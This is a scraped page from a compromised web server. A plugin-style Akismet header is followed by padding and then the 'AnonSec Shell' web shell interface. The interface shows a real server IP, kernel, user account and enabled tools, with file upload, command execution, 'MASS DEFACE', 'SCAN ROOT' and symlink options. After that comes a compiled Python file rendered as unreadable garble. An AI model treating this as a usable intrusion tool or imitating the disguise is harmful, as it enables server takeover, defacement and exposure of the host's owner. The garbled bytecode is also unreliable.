#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/subscription_manager//printing_utils.pyc
�
L��ec@`s�ddlmZmZmZddlZddlZddlZddlZddlm	Z
ddlmZddl
mZeje�ZdZdZdZd	�Zd
�Zd�Zd�Zd
�Zd�Zdd�ZdS(i(tprint_functiontdivisiontabsolute_importN(t
textual_width(tget_terminal_width(tugettextssscC`s|d|t|�S(Nt (t
utf8_width(tin_strtpadding((sI/usr/lib64/python2.7/site-packages/subscription_manager/printing_utils.pyt
ljust_wide"scO`s|jdd�}g|D]}d||^q}t�}ttt|��dd}|r{t|t|d��}ng}xd|D]\}t|||d�jd�}	t	|	d|�d|	d<dj
|	�}
|j|
�q�Wtt
||��}	g}x�|	D]�\}}||d	<t|t�r�|r�t|d||�}
|j|||
|��xa|dD]9}t|||�}
|j|d|d|
|��qoWq�|j||d
|��q
t|||�}
|j|||
|��q
Wdj
|�S(s�
    Take a list of captions and values and columnize the output so that
    shorter captions are padded to be the same length as the longest caption.
    For example:
        Foo:            Bar
        Something Else: Baz

    This function also takes a callback which is used to render the final line.
    The callback gives us the ability to do things like replacing None values
    with the string "None" (see none_wrap_columnize_callback()).
    tindentiRi����iis
s%stcaptiont(tgetRtsortedtmapRtmintinttformat_nametsplitR
tjointappendtlisttzipt
isinstance(tcaption_listtcallbacktargstkwargsRRtcolumnsR	tpadded_listtlinest
fixed_captiontoutputtvaluet
formatted_argtval((sI/usr/lib64/python2.7/site-packages/subscription_manager/printing_utils.pyt	columnize&s6!	

(c		`s|s1|s1||dks1t|tj�r5|St|tj�sY|jd�}n|j�}g�|su|St|�t|j��}|d|!|d|d<||}|dkr�d}n��fd�}g�x|r�|jd�}|t	|�|kr3|t	|�d7}�j
|�q��rC|�n|t	|�|kr�d}x,t	||d �||kr�|d7}qbW|jd||�|| }n|g�|r��r��jdd|d�n|t	|�d}q�W|�dj��S(s�
    Formats a potentially long name for multi-line display, giving
    it a columned effect.  Assumes the first line is already
    properly indented.
    isutf-8ic`s�jdj���dS(NR(RR((tlineR (sI/usr/lib64/python2.7/site-packages/subscription_manager/printing_utils.pytadd_linensiRs
(
Rtsixtstring_typest	text_typetdecodeRtlentlstriptpopRRtinsertR(	tnameRt
max_lengthtwordst
leading_spacetcurrentR(twordtsplit_index((R'R sI/usr/lib64/python2.7/site-packages/subscription_manager/printing_utils.pyRUsD1
		
!
	c
O`s�|jd�}|jd�}|jd�}|jd�jd�dd}d
}|r�|jdd�jd	d�j�d
kr�d
}n|r�|r�||kr�y"tjtj|�tj	�}Wq�t
k
r�}tjd||�q�Xng}	|r�x�|D]{}
|
d
kr&t
d�}
nM|rsxD|j|
j��D]*}tt|t}|
j||�}
qBWn|	j|
�qWn|t|	�S(s
    Takes a template string and arguments and highlights word matches
    when the value contains a match to the filter_string.This occurs
    only when the row caption exists in the match columns.  Mainly this
    is a callback meant to be used by columnize().
    t
filter_stringt
match_columnstis_attyRt:it*Rt?R
s$Cannot compile search regex '%s'. %stNoneN(RRR>treplacetstriptretcompiletfnmatcht	translatet
IGNORECASEt	Exceptiontlogterrort_tfindallt	FONT_BOLDtFONT_REDtFONT_NORMALRttuple(
ttemplate_strRRR8R9R:Rtptetarglisttargtmatchtreplacer((sI/usr/lib64/python2.7/site-packages/subscription_manager/printing_utils.pyt'highlight_by_filter_string_columnize_cb�s. 0	"
cO`sMg}x6|D].}|dkr.td�}n|j|�q
W|t|�S(s�
    Takes a template string and arguments and replaces any None arguments
    with the word "None" before rendering the template.  Mainly this is
    a callback meant to be used by columnize().
    R>N(R>RIRRN(RORRRRRS((sI/usr/lib64/python2.7/site-packages/subscription_manager/printing_utils.pytnone_wrap_columnize_callback�s
cO`s|t|�S(s�
    Just takes a template string and arguments and renders it.  Mainly
    this is a callback meant to be used by columnize().
    (RN(RORR((sI/usr/lib64/python2.7/site-packages/subscription_manager/printing_utils.pytecho_columnize_callback�ssutf-8cC`s@t|tj�r<t|tj�s<tj||�}q<n|S(N(RR)R*R+(tobjtencoding((sI/usr/lib64/python2.7/site-packages/subscription_manager/printing_utils.pytto_unicode_or_bust�s(t
__future__RRRRCRAtloggingR)t"subscription_manager.unicode_widthRRtsubscription_manager.utilsRtsubscription_manager.i18nRRIt	getLoggert__name__RGRKRLRMR
R&RRVRWRXR[(((sI/usr/lib64/python2.7/site-packages/subscription_manager/printing_utils.pyt<module>s$		/	6	$			

Anon7 - 2022
AnonSec Team